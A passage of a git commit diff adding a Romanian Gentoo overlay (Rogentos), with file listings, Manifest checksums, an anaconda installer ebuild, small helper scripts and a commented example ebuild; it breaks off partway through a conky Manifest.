x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild create mode 100644 x11-libs/vdpau-video/Manifest create mode 100644 x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild create mode 100644 x11-misc/lightdm-base/Manifest create mode 100644 x11-misc/lightdm-base/files/README.gentoo create mode 100644 x11-misc/lightdm-base/files/Xsession create mode 100644 x11-misc/lightdm-base/files/lightdm create mode 100644 x11-misc/lightdm-base/files/lightdm-1.7.7-session-wrapper.patch create mode 100644 x11-misc/lightdm-base/files/lightdm-autologin create mode 100644 x11-misc/lightdm-base/files/lightdm.service create mode 100644 x11-misc/lightdm-base/files/session-wrapper-lightdm.patch create mode 100644 x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild create mode 100644 x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild create mode 100644 x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild create mode 100644 x11-misc/lightdm-base/metadata.xml create mode 100644 x11-misc/lightdm-gtk-greeter/Manifest create mode 100644 x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.3.1-r1.ebuild create mode 100644 x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.6.1.ebuild create mode 100644 x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.7.0.ebuild create mode 100644 x11-misc/lightdm-kde/Manifest create mode 100644 x11-misc/lightdm-kde/files/lightdm-kde-0.3.2.1-lightdm-1.7.patch create mode 100644 x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild create mode 100644 x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild create mode 100644 x11-misc/lightdm-kde/metadata.xml create mode 100644 x11-misc/lightdm-qt4/Manifest create mode 100644 x11-misc/lightdm-qt4/files/lightdm-1.2.0-fix-configure.patch create mode 100644 x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild create mode 100644 x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild create mode 100644 x11-misc/lightdm-qt4/metadata.xml create mode 100644 x11-misc/lightdm/lightdm-1.4.0-r1.ebuild create mode 100644 x11-misc/lightdm/lightdm-1.8.5-r2.ebuild create mode 100644 x11-misc/lightdm/metadata.xml create mode 100644 x11-misc/virtualgl/ChangeLog create mode 100644 x11-misc/virtualgl/Manifest create mode 100644 x11-misc/virtualgl/files/vgl.confd-r1 create mode 100644 x11-misc/virtualgl/files/vgl.initd-r1 create mode 100644 x11-misc/virtualgl/files/vgl.initd-r2 create mode 100644 x11-misc/virtualgl/metadata.xml create mode 100644 x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild create mode 100644 x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild create mode 100644 x11-themes/cristal-blue/Manifest create mode 100644 x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild create mode 100644 x11-themes/elementary-icon-theme/Manifest create mode 100644 x11-themes/elementary-icon-theme/elementary-icon-theme-2.7.1-r1.ebuild create mode 100644 x11-themes/faenza-cupertino/Manifest create mode 100644 x11-themes/faenza-cupertino/faenza-cupertino-1.0.ebuild create mode 100644 x11-themes/faenza-kupertino-icons/Manifest create mode 100644 x11-themes/faenza-kupertino-icons/faenza-kupertino-icons-1.0.ebuild create mode 100644 x11-themes/gnome-colors-common/Manifest create mode 100644 x11-themes/gnome-colors-common/gnome-colors-common-5.5.1-r12.ebuild create mode 100644 x11-themes/gnome-colors-common/metadata.xml create mode 100644 x11-themes/kogaion-artwork-core/Manifest create mode 100644 x11-themes/kogaion-artwork-core/kogaion-artwork-core-1.ebuild create mode 100644 x11-themes/kogaion-artwork-core/kogaion-artwork-core-2-r1.ebuild create mode 100644 x11-themes/kogaion-artwork-core/kogaion-artwork-core-2.ebuild create mode 100644 x11-themes/kogaion-artwork-gnome/Manifest create mode 100644 x11-themes/kogaion-artwork-gnome/files/gnome-backgrounds.xml create mode 100644 x11-themes/kogaion-artwork-gnome/files/org.kogaion.gschema.override create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r1.ebuild create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r2.ebuild create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r3.ebuild create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0.ebuild create mode 100644 x11-themes/kogaion-artwork-lxde/Manifest create mode 100644 x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1-r1.ebuild create mode 100644 x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1.ebuild create mode 100644 x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.ebuild create mode 100644 x11-themes/kogaion-artwork-mate/Manifest create mode 100644 x11-themes/kogaion-artwork-mate/files/org.mate.kogaion.gschema.override create mode 100644 x11-themes/kogaion-artwork-mate/kogaion-artwork-mate-1.0.ebuild create mode 100644 x11-themes/kogaion-dark-theme/Manifest create mode 100644 x11-themes/kogaion-dark-theme/kogaion-dark-theme-1.0.ebuild create mode 100644 x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.0.ebuild create mode 100644 x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.1.ebuild create mode 100644 x11-themes/kogaion-elementary-icons/Manifest create mode 100644 x11-themes/kogaion-elementary-icons/kogaion-elementary-icons-1.0.ebuild create mode 100644 x11-themes/kogaion-light-theme/Manifest create mode 100644 x11-themes/kogaion-light-theme/kogaion-light-theme-1.0.ebuild create mode 100644 x11-themes/kogaion-light-theme/kogaion-light-theme-2.0.ebuild create mode 100644 x11-themes/kogaion-light-theme/kogaion-light-theme-2.1.ebuild create mode 100644 x11-themes/mediterranean-night/Manifest create mode 100644 x11-themes/mediterranean-night/mediterranean-night-2.03.ebuild create mode 100644 x11-themes/pacifica-icon-theme/Manifest create mode 100644 x11-themes/pacifica-icon-theme/pacifica-icon-theme-1.0.ebuild create mode 100644 x11-themes/pidgin-penguins-smileys/ChangeLog create mode 100644 x11-themes/pidgin-penguins-smileys/Manifest create mode 100644 x11-themes/pidgin-penguins-smileys/metadata.xml create mode 100644 x11-themes/pidgin-penguins-smileys/pidgin-penguins-smileys-1.0.ebuild create mode 100644 x11-themes/pidgin-smileys/ChangeLog create mode 100644 x11-themes/pidgin-smileys/Manifest create mode 100644 x11-themes/pidgin-smileys/metadata.xml create mode 100644 x11-themes/pidgin-smileys/pidgin-smileys-20080819.ebuild create mode 100644 x11-themes/pidgin-smileys/pidgin-smileys-20100821.ebuild create mode 100644 x11-themes/rogentos-artwork-core/Manifest create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-1.ebuild create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.1.ebuild create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.2.ebuild create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.ebuild create mode 100644 x11-themes/rogentos-artwork-extra/Manifest create mode 100644 x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild create mode 100644 x11-themes/rogentos-artwork-grub/Manifest create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild create mode 100644 x11-themes/rogentos-artwork-isolinux/Manifest create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild create mode 100644 x11-themes/rogentos-artwork-kde/Manifest create mode 100644 x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml create mode 100644 x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild create mode 100644 x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild create mode 100644 x11-themes/rogentos-artwork-lxde/Manifest create mode 100644 x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild create mode 100644 x11-themes/rogentos-artwork-resplash/Manifest create mode 100644 x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild create mode 100644 x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild create mode 100644 x11-themes/tango-icon-theme/Manifest create mode 100644 x11-themes/tango-icon-theme/metadata.xml create mode 100644 x11-themes/tango-icon-theme/tango-icon-theme-0.8.90.ebuild create mode 100644 x11-themes/zukitwo-brave/Manifest create mode 100644 x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild create mode 100644 x11-wm/awemenugen/Manifest create mode 100644 x11-wm/awemenugen/awemenugen-20120205.ebuild create mode 100644 xfce-extra/thunar-dropbox/Manifest create mode 100644 xfce-extra/thunar-dropbox/files/thunar-dropbox-0.2.0-wscript.patch create mode 100644 xfce-extra/thunar-dropbox/thunar-dropbox-0.2.0.ebuild create mode 100644 xfce-extra/xfce4-messenger-plugin/Manifest create mode 100644 xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0-r1.ebuild create mode 100644 xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0.ebuild diff --git a/README b/README new file mode 100644 index 00000000..036bd883 --- /dev/null +++ b/README @@ -0,0 +1,5 @@ +Romanian Server-oriented ebuilds. For the moment it's in pre-alpha stage. :) + +To install it as an overlay in a Gentoo planet distro, use the command: + +layman -f -a rogento -o https://raw.github.com/BlackNoxis/Rogento/master/overlay.xml diff --git a/app-admin/anaconda/Manifest b/app-admin/anaconda/Manifest new file mode 100644 index 00000000..2c115915 --- /dev/null +++ b/app-admin/anaconda/Manifest @@ -0,0 +1,2 @@ +DIST audit-2.1.2.tar.gz 832570 SHA256 74de47b70f8d60035d97d2b2ee73934be132d67569cbe74a427f5aa41f156fb9 SHA512 8b1fb457b29ab0d13b86404bb09fcf7fd54bf11afd0583d4c91150bfe8b7013d43325150935e668bc4904eaca155cb072a3af659fd44acbdccf128ce3c95bc6b WHIRLPOOL e3a9c44056829a74db192fb6a7200e3de50af29b23ac6e309ca6927f181031dc961a2c2c193356d7208d9f18cc7c0beaf4da602af63ac15797b291e4a5ad33e4 +DIST libselinux-2.0.94.tar.gz 205804 SHA256 b8312852306650e9720de5a20fe7560d935d3c90ffedca1cac25bf3f283d8a36 SHA512 fa8d89cb812ee02dc99811c99341acdcadcc088a06e6de736e31ca1c9f84a5b2afe60b24ec870c31afae3f8c317dd802abee2d50621c59ad3e11afddc26ae814 WHIRLPOOL 127eb506e63709b468866875f4aecf84216d4674fe5f8f0f906f59842dd0dba3ce2fb6cdd3e8085626989039e38a1dbb363fc8ec58bccd10195d1e15fdcefe1b diff --git a/app-admin/anaconda/anaconda-9999.ebuild b/app-admin/anaconda/anaconda-9999.ebuild new file mode 100644 index 00000000..9814e22a --- /dev/null +++ b/app-admin/anaconda/anaconda-9999.ebuild @@ -0,0 +1,224 @@ +# Copyri:ght 2004-2012 Rogentos +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +if [ "${PV}" = "9999" ]; then + #EGIT_COMMIT="master" + EGIT_REPO_URI="git://github.com/Rogentos/rogentos-anaconda.git" + MY_ECLASS="git-2" +fi +inherit flag-o-matic base python libtool autotools eutils ${MY_ECLASS} + +AUDIT_VER="2.1.2" +AUDIT_SRC_URI="http://people.redhat.com/sgrubb/audit/audit-${AUDIT_VER}.tar.gz" + +SEPOL_VER="2.1" +LSELINUX_VER="2.0.94" +LSELINUX_SRC_URI="http://userspace.selinuxproject.org/releases/20100525/devel/libselinux-${LSELINUX_VER}.tar.gz" + +DESCRIPTION="Rogentos Redhat Anaconda Installer Port" +HOMEPAGE="http://rogentos.ro/" +if [ "${PV}" = "9999" ]; then + SRC_URI="${AUDIT_SRC_URI} ${LSELINUX_SRC_URI}" + KEYWORDS="" + S="${WORKDIR}"/${PN}-${PVR} +else + SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-rogentos-${PVR}.tar.bz2 ${AUDIT_SRC_URI} ${LSELINUX_SRC_URI}" + KEYWORDS="~amd64 ~x86" + S="${WORKDIR}"/${PN}-rogentos-${PVR} +fi +AUDIT_S="${WORKDIR}/audit-${AUDIT_VER}" +LSELINUX_S="${WORKDIR}/libselinux-${LSELINUX_VER}" + +LICENSE="GPL-2 public-domain" +SLOT="0" +IUSE="-ipv6 +nfs ldap" +RESTRICT="nomirror" + +AUDIT_DEPEND="dev-lang/swig" +AUDIT_RDEPEND="ldap? ( net-nds/openldap )" +LSELINUX_DEPEND="=sys-libs/libsepol-${SEPOL_VER}* dev-lang/swig" +LSELINUX_RDEPEND="=sys-libs/libsepol-${SEPOL_VER}*" +LSELINUX_CONFLICT="!sys-libs/libselinux" # due to pythonX.Y/site-packages+/usr/sbin not being handled +COMMON_DEPEND="app-admin/system-config-keyboard + >=app-arch/libarchive-2.8 + app-crypt/sbsigntool + app-cdr/isomd5sum + dev-libs/newt + nfs? ( net-fs/nfs-utils ) + sys-fs/lvm2 + sys-block/open-iscsi" +DEPEND="${COMMON_DEPEND} ${AUDIT_DEPEND} ${LSELINUX_DEPEND} sys-apps/sed" +RDEPEND="${COMMON_DEPEND} ${AUDIT_RDEPEND} + ${LSELINUX_RDEPEND} ${LSELINUX_CONFLICT} + >=app-misc/anaconda-runtime-1.1" + +# FIXME: +# for anaconda-gtk we would require also +# dev-python/pygtk +# x11-libs/pango + +src_unpack() { + if [ "${PV}" = "9999" ]; then + git-2_src_unpack + base_src_unpack + else + base_src_unpack + fi +} + +src_prepare() { + + # Setup CFLAGS, LDFLAGS + append-cppflags "-I${D}/usr/include/anaconda-runtime" + append-ldflags "-L${D}/usr/$(get_libdir)/anaconda-runtime" + append-cflags "-fexceptions" + + # drop after 0.9.11 + sed -i "s:-O2 -g -pipe -Wp,-D_FORTIFY_SOURCE=2 -fexceptions::g" \ + "${S}/configure.ac" || die + + # Setup anaconda + cd "${S}" + ./autogen.sh || die "cannot run autogen" + + ## + ## Setup libaudit + ## + cd "${AUDIT_S}" + # Do not build GUI tools + sed -i \ + -e '/AC_CONFIG_SUBDIRS.*system-config-audit/d' \ + "${AUDIT_S}"/configure.ac || die "cannot sed libaudit configure.ac" + sed -i \ + -e 's,system-config-audit,,g' \ + -e '/^SUBDIRS/s,\\$,,g' \ + "${AUDIT_S}"/Makefile.am || die "cannot sed libaudit Makefile.am" + rm -rf "${AUDIT_S}"/system-config-audit + + if ! use ldap; then + sed -i \ + -e '/^AC_OUTPUT/s,audisp/plugins/zos-remote/Makefile,,g' \ + "${AUDIT_S}"/configure.ac || die "cannot sed libaudit configure.ac (ldap)" + sed -i \ + -e '/^SUBDIRS/s,zos-remote,,g' \ + "${AUDIT_S}"/audisp/plugins/Makefile.am || die "cannot sed libaudit Makefile.am (ldap)" + fi + eautoreconf + +} + +copy_audit_data_over() { + dodir "/usr/$(get_libdir)/anaconda-runtime" + cp -Ra "${AUDIT_S}/fakeroot/usr/$(get_libdir)/anaconda-runtime/"* \ + "${D}/usr/$(get_libdir)/anaconda-runtime" || die "cannot cp audit data" + dodir "/usr/include/anaconda-runtime" + cp -Ra "${AUDIT_S}/fakeroot/usr/include/anaconda-runtime/"* \ + "${D}/usr/include/anaconda-runtime" || die "cannot cp audit include data" +} + +src_configure() { + # configure audit + cd "${AUDIT_S}" + einfo "configuring audit" + econf --sbindir=/sbin --libdir=/usr/$(get_libdir)/anaconda-runtime \ + --includedir=/usr/include/anaconda-runtime \ + --without-prelude || die + + # compiling audit here, anaconda configure needs libaudit + einfo "compiling audit" + cd "${AUDIT_S}" || die "cannot cd into ${AUDIT_S}" + base_src_compile + + # installing audit + einfo "installing audit libs into ${AUDIT_S}/fakeroot temporarily" + cd "${AUDIT_S}" || die "cannot cd into ${AUDIT_S}" + ( rm -rf fakeroot && mkdir fakeroot ) || die "cannot mkdir" + emake DESTDIR="${AUDIT_S}/fakeroot" install || die "cannot install libaudit" + copy_audit_data_over # for proper linking + + # configure anaconda + cd "${S}" + einfo "configuring anaconda" + econf \ + $(use_enable ipv6) $(use_enable selinux) \ + $(use_enable nfs) || die "configure failed" +} + +src_compile() { + + cd "${S}" + base_src_compile + + # compiling libselinux + einfo "compiling libselinux" + cd "${LSELINUX_S}" || die "cannot cd into ${LSELINUX_S}" + LD_RUN_PATH="/usr/$(get_libdir)/anaconda-runtime" \ + emake \ + LDFLAGS="-fPIC ${LDFLAGS}" \ + PYLIBVER="python$(python_get_version)" \ + PYTHONLIBDIR="${D}/usr/$(get_libdir)/python$(python_get_version)" \ + SHLIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \ + INCDIR="${D}/usr/include/anaconda-runtime" \ + all || die + LD_RUN_PATH="/usr/$(get_libdir)/anaconda-runtime" \ + emake \ + LDFLAGS="-fPIC ${LDFLAGS}" \ + PYLIBVER="python$(python_get_version)" \ + PYTHONLIBDIR="${D}/usr/$(get_libdir)/python$(python_get_version)" \ + SHLIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \ + INCDIR="${D}/usr/include/anaconda-runtime" \ + pywrap || die + + # add compatibility aliases to swig wrapper + cat "${FILESDIR}/compat.py" >> "${LSELINUX_S}/src/selinux.py" || die + +} + +src_install() { + + # installing libselinux + cd "${LSELINUX_S}" + python_need_rebuild + LD_RUN_PATH="/usr/$(get_libdir)/anaconda-runtime" \ + emake DESTDIR="${D}" \ + PYLIBVER="python$(python_get_version)" \ + PYTHONLIBDIR="${D}/usr/$(get_libdir)/python$(python_get_version)" \ + LIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \ + SHLIBDIR="${D}/usr/$(get_libdir)/anaconda-runtime" \ + INCDIR="${D}/usr/include/anaconda-runtime" \ + install install-pywrap || die + + # fix libselinux.so link + dosym libselinux.so.1 /usr/$(get_libdir)/anaconda-runtime/libselinux.so + # LD_RUN_PATH works with ld >=2.20, so /etc/env.d/99anaconda for now + # will be dropped in future + echo "LDPATH=\"/usr/$(get_libdir)/anaconda-runtime\"" > 99anaconda + doenvd 99anaconda + + cd "${S}" + copy_audit_data_over # ${D} is cleared + base_src_install + + # install liveinst for user + dodir /usr/bin + exeinto /usr/bin + doexe "${FILESDIR}"/liveinst + dosym /usr/bin/liveinst /usr/bin/installer + + # drop .la files for God sake + find "${D}" -name "*.la" | xargs rm + + # Cleanup .pyc .pyo + find "${D}" -name "*.py[co]" -type f -delete +} + +pkg_postrm() { + python_mod_cleanup py${PN} +} + +pkg_postinst() { + python_mod_optimize py${PN} +} diff --git a/app-admin/anaconda/files/compat.py b/app-admin/anaconda/files/compat.py new file mode 100644 index 00000000..b0bf65b5 --- /dev/null +++ b/app-admin/anaconda/files/compat.py @@ -0,0 +1,18 @@ +# compatability aliases for python-selinux +try: + import selinux_aux + + enabled = selinux_aux.enabled + + get_lsid = selinux_aux.get_lsid + get_sid = selinux_aux.get_sid + set_sid = selinux_aux.set_sid + secure_rename = selinux_aux.secure_rename + secure_copy = selinux_aux.secure_copy + secure_mkdir = selinux_aux.secure_mkdir + secure_symlink = selinux_aux.secure_symlink + setexec = selinux_aux.setexec + getcontext = selinux_aux.getcontext + +except: + pass diff --git a/app-admin/anaconda/files/liveinst b/app-admin/anaconda/files/liveinst new file mode 100644 index 00000000..986da86f --- /dev/null +++ b/app-admin/anaconda/files/liveinst @@ -0,0 +1,2 @@ +#!/bin/sh +sudo -E /usr/sbin/liveinst $@ diff --git a/app-admin/anaconda/files/make_liveinst_update_package.sh b/app-admin/anaconda/files/make_liveinst_update_package.sh new file mode 100644 index 00000000..466408cc --- /dev/null +++ b/app-admin/anaconda/files/make_liveinst_update_package.sh @@ -0,0 +1,24 @@ +#!/bin/sh + +if [ -z "${1}" ]; then + echo "syntax ${0} " + exit 1 +fi +eb="${1}" +eb_name=$(basename "${eb}") +tbz2_name="${eb_name/.ebuild/.tbz2}" +tar_file="py${eb_name/.ebuild}.tar.bz2" +current_dir="${PWD}" + +ebuild "${eb}" clean package || exit 1 +tmp_dir="$(mktemp -d)" + +cp /usr/portage/packages/app-admin/"${tbz2_name}" "${tmp_dir}" || exit 1 +cd "${tmp_dir}" || exit 1 +tar xvf "${tbz2_name}" || exit 1 + +( cd usr/lib*/python*/site-packages && tar cjf \ + "${current_dir}/${tar_file}" pyanaconda ) || exit 1 +( cd "${current_dir}" && md5sum "${tar_file}" > "${tar_file}.md5" ) || exit 1 + +echo "created ${tar_file} and ${tar_file}.md5 in this directory" diff --git a/app-admin/butonasvesel/Manifest b/app-admin/butonasvesel/Manifest new file mode 100644 index 00000000..6b469ad5 --- /dev/null +++ b/app-admin/butonasvesel/Manifest @@ -0,0 +1,2 @@ +DIST butonasvesel.tar.gz 707 SHA256 f54a59c7769522afaf6acf1ef4bd5709ba209eee96058418392371bf8b9a4dcd SHA512 da01764867ee8a56a37dcf20759639adf7fb06bd288aee64cf49c39f385313d288d60e7d404d611156a8917c7a17601f895330b53b9c5a63307bb44489607505 WHIRLPOOL de9006e3c316ef8280c8194f31ddfaded804d34a728c87c18e8e5637ade2f652c61508e78040ca6c51b23c80251ec6d70994ea36b0e0838e6b22417422c3161a +EBUILD butonasvesel-1.ebuild 1703 SHA256 408c31df807c4e89c1a8ccc4c3010d3e0a13dbb2d0a2008ac5c21d9a113bd983 SHA512 6d806a6ad2a86641f9d18c06b525a6b9e79d53ed3dc618d675b37a984d51173e6cb11eebd0a0ba2d80b0c5c136bfea3e1f846ebdd0ecc257d8832dd0fc58f013 WHIRLPOOL 03c92b3ab13e442773e81ad07320a3ff7964d5b2cb7683401ff31758b4ee697c5a55cdac64f983a1ccfa831e6a6998ab1e7d0072a1ac4aa76cf139e6317ecd80 diff --git a/app-admin/butonasvesel/butonasvesel-1.ebuild b/app-admin/butonasvesel/butonasvesel-1.ebuild new file mode 100644 index 00000000..e97adb6c --- /dev/null +++ b/app-admin/butonasvesel/butonasvesel-1.ebuild @@ -0,0 +1,39 @@ +# Copyright 2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="5" #EAPI, read docs for this. natural we use 5, but there must be a src_prepare() at least with something in it + +inherit eutils #Object-oriented packaging, inherit classes with functions that will follow + +DESCRIPTION="The most interesting button you have ever seen in your life" +HOMEPAGE="http://rogentos.ro" +SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/"${PN}"/"${PN}".tar.gz" + +LICENSE="GPL-2" +SLOT="0" #How many times do you want this package to exist/to be installed, to coexist in different versions +KEYWORDS="~* ~amd64 ~x86" #Every architecture you like +IUSE="" #Configure flags, also known as ./configure --features --enable/disable features to be used + +RDEPEND="" #runtime deps +DEPEND="" #build deps +COMMON_DEPEND="" #Your deps, if you want to handle your own dep-control + +S="${WORKDIR}"/${PN}/ # PN means the name of the ebuild. http://devmanual.gentoo.org/ebuild-writing/variables/ + +# The next step must be used in anyway possible for the EAPI=5 to be valid +# Naturally, you can start by using insinto functions +src_prepare() { #unpacked files in the sandbox can be easily modified before all instalation process in this way + insinto "${S}"/${PN}/ || die "Failed to cd into directory" + emake || die "Failed to emake" +} + +src_install() { + insinto /usr/sbin/ + doins "${S}"/"${PN}" || die "Failed to copy compiled file" # Again, S means workdir and PN is helloworld + fperms 755 /usr/sbin/"${PN}" + elog "Some people don't know what to do with their 5:00 AM time" + elog "...while compiling hundreds of packages and turn them" + elog "into a useful ISO for people to use" +} + diff --git a/app-admin/conky-full/Manifest b/app-admin/conky-full/Manifest new file mode 100644 index 00000000..a32dcda2 --- /dev/null +++ b/app-admin/conky-full/Manifest @@ -0,0 +1,12 @@ +AUX conky-1.8.1-acpitemp.patch 2415 SHA256 57815044cd972139171b76e75267792821c783e03537eb6cf7ba8105c46cdf8d SHA512 8c376fe44e72c7bd8526bd51a4ec6a85919e4bfb1189fc2e0b15172ca5a76c6e5c6ece56f186b8da8e720bc5769b2c36fff76367c7c7a587648ad837b7085f1b WHIRLPOOL 849aa8f18b2ab021b0ffcf52cca544f5464f61df0745018bae4ddf938005ef477bc4aa702d2c335e190e353e0897fd2636c95f595202b76b7752d652f2da4f0a +AUX conky-1.8.1-battery-time.patch 655 SHA256 d47e966e61a212048a8c752f1885e567a6b2c497da508dee8be64b205a5a422d SHA512 951ab73eca1a1ca059c127e001c556fed4dec6d9b6b63365d6826be7105b6ac87f2a36b6799aa313dd8a3519d3aea0ff7a6aa8ef46bc36cf6de7ccb7248854e5 WHIRLPOOL f6139a92d78e383dd9a006d40b96272a82165db9d94da90f729db1d65ae0bca39b62b9391c514ef23cb078007d0ccdfece3e89cde73506804c67222e75baf7b0 +AUX conky-1.8.1-curl-headers.patch 494 SHA256 53ff30aa933163a1feb646720ea21b4727d515e33521ac53e77b8bd9d0473eba SHA512 1b78d0c34b86ff75179ead6413487f827ad1ed3627cc6694bc0fd49b214ef4c9d3c05c4dcb8cf3cb4615ab25086e25d3d0f25a897daa410286df41ec38af682c WHIRLPOOL d8acd19f59063a75205b2901fe7e47a7233f73e18263132fe607208c5a6dec5cdcbba215dd7089477ae1d5a6d7d153afd54b78bed69184129a1d556d5505d779 +AUX conky-1.8.1-lua-5.2.patch 731 SHA256 a52fe3067c927340a6f1c485f566db9496684bd89b781e1a320b8a02f115c98f SHA512 facbc8bfb4c7458f06eda35c99443deb09fbea9d9b93ff7dc37d1e159ed27051f081e71ffc937ea33f893c3ccbc2580e05d879e7118f68ba4de819dd820adda2 WHIRLPOOL 1ca7a363fc589af282bfb7767ce1954e7ce7799073b62f06165b2054e9019a7b82423efa9cbce8c548d659d6c9ca26abc6668caf6b3abef9fe80faee32f93f23 +AUX conky-1.8.1-maxinterfaces.patch 1605 SHA256 34f1e53fb145fb252e1f91bcd60803870f12e4e0b31d691accc4cd83dda970ad SHA512 1423d11ae6ce1f601f2bc1f0df2e4ed7b32d17d63d5c15b4ff618bdc3a441b6161b4b9fb12aa8bb6a722b4707830999a1cf221f47ff4e3ac6567b4201aaf794b WHIRLPOOL 15a068a617818af171d60cebc89fab13f7c71c3f2ad7d25df01820bea3c4a2e1bb325eefa427b0ae40d6672651252bfbaa97c9f68248172dbe354262e0cad3c2 +AUX conky-1.8.1-nvidia-x.patch 883 SHA256 290ffdf4094167715bf11b86ee2cf73574a3af32ffb50fa09517d89c56bc0853 SHA512 5dc5e22a0d2b8fca8dd4be929cb2b1c7812ed8461e749dfc05e2d9fc7247d218154cfbb93b358f7080dada6b9b8e7fee25c0a71c9b0ec3ea4cc33fceab830020 WHIRLPOOL c10f56f67d56e0ac9282caee93fcbba982d709e65b0e9f35932037a21d430e3a3f5d9ef7d56368ea74135a158e10a6beef2c2a867d15664cc91852e12ea2795a +AUX conky-1.8.1-secunia-SA43225.patch 1620 SHA256 61c2d204796f51d0d51cd62e9a37a9f4f318e8fe8f955278ef86b64d5b2ff99f SHA512 fde4d36d14ee7f8bb39104c23d336153b09436c8824676e4b003b1d46d2d7af00997839802745e03f5980f001c94c191805bcffe9f81485e71e2b782f7ae3086 WHIRLPOOL e2ad91607d10894227d5e33f3a0ea7d9fa82a72511c91295c1d9e1c668d942b1e53ee05322b7e3c4da5341793fcd6ff8deb9d4a9f75cb35ff3f2f874cd34aae2 +AUX conky-1.8.1-utf8-scroll.patch 2814 SHA256 ee622cda243c7265915c858b264fc4750a329f5c7e9a29323421a777291acfb7 SHA512 a88c49e83b360949d6450f1fbee22dc6648586f5469f6256581db7c55ba8efc35c01756fa241bfc13df0b44390d36ef72e4250d18a8743d62089e2f57f9f8fbd WHIRLPOOL 951e9b9083033a4d247bfeee12ee4f3da30ae53015c7b8095d587fb544e720c627b951ccee5da418c719a05c9a55b560d6bcb56cdfa5daaa6f50cee1a828327e +AUX conky-1.8.1-xmms2.patch 1190 SHA256 1b64047f04239dbf24b3171fcd8d5c950e9f8aa6af5e94cd4836cd14c70e2bdc SHA512 ec7f526a3b3fed3a80b1f998bbf2f1d48931caa209605767283da8440551c950a6f8bf7efcca6fde51f085b3eb5abb1a357dee6b2b32c4537edf9fae5fd0d1d5 WHIRLPOOL 904226a6749f7516c46a75e36b83218b27018b328196086d5a9624d726a5b9d31c87dfa8df9b60f013be64487cb6bbf5291014b1d350681d7412932b29bddc42 +AUX conky-1.9.0-ncurses.patch 939 SHA256 76a777bab29009c2053b61e9e5904aea131c93d5f026acc161048374f75e72f6 SHA512 0a0737bec67eb241dee4029907d9f3e5bc8d49c8239fbdda5cbfa2b7b0aa50fb2ac9bf3397ccecd94768a176fc6c3ec0e18d67391d9285aff9658ba234202d4e WHIRLPOOL 0893db6ffbc2b37c58b2de8e34e4288640a1d3a5e3a754bd39faec141a7e94e49c83011f5eb58c86afe838fff1b77a661ff63a61f6780f9ca5e5b24f50463014 +DIST conky-1.9.0.tar.bz2 626555 SHA256 baf1b550f135fbfb53e5e286a33aadc03a667d63bf6c4d52ba7637366295bb6f SHA512 98c9f69fd8bee2062e3eddeb7a394cce932199ffd6c8664006d1222f0453569406613e63637848c77a455f7dae3f16be3079a2cab56ecafea51ec043de23c889 WHIRLPOOL 41bbe95ec838dbda2c2d4a9422d2f2f7d22d0cb99e87c59fbd32c0c7856cc83de36cbeefd982c964ec5229ae0b0342e84525aa5343d8c5cf9525205cea4a274a +EBUILD conky-full-1.9.0.ebuild 4011 SHA256 384ba376665dcddc58c15d5aa28a5ef32689dca5ce30d03251f1cc3538130beb SHA512 